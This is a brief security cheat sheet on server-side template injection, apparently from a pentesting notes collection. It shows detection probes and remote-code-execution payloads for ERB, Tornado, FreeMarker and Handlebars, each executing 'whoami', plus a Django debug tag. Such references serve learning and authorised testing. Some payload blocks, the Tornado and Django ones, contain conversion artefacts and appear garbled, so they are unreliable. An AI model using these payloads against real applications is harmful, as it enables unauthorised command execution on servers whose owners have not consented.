# Server-side template injection (SSTI)

* [PortSwigger - Web Security Academy - Server-side template injection](https://portswigger.net/web-security/server-side-template-injection)

Detect -> Identify -> Exploit

## Detect

Fuzzing the template by using special characters commonly used in template expressions.

```
${{<%[%'"}}%\
```

### Plaintext context

Injecting mathematical operations, such as `${7*7}`. If the output is `49`, it was evaluated server-side.

E.g.

```url
http://website.com/?param=${7*7}
```

### Code context

Try to append an html `<tag>`. Output will probably be blank.

E.g.

```url
http://website.com/?param=data.name<tag>
```

Next, try to break out of the statement.

E.g.

```url
http://website.com/?param=data.name}}<tag>
```

-> "Blank output": wrong template syntax, or not vulnerable.\
-> Rendered correctly including `<tag>`: vulnerable.

## Exploit

### ERB RCE (Ruby)

```ruby
<%= system("whoami") %>
```

### Tornado RCE (Python)

```python
<div data-gb-custom-block data-tag="import"></div>

{{os.system('whoami')}}
```

### FreeMarker RCE (Java)

```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("whoami")}
```

### Handlebars RCE (Node/JS)

```javascript
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return JSON.stringify(child_process.exec('whoami'));"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
```

See <http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html>.

### Django Templates (Python)

```python
<div data-gb-custom-block data-tag="debug"></div>
```

See also:

* <https://github.com/Lifars/davdts>
* <https://lifars.com/wp-content/uploads/2021/06/Django-Templates-Server-Side-Template-Injection-v1.0.pdf>


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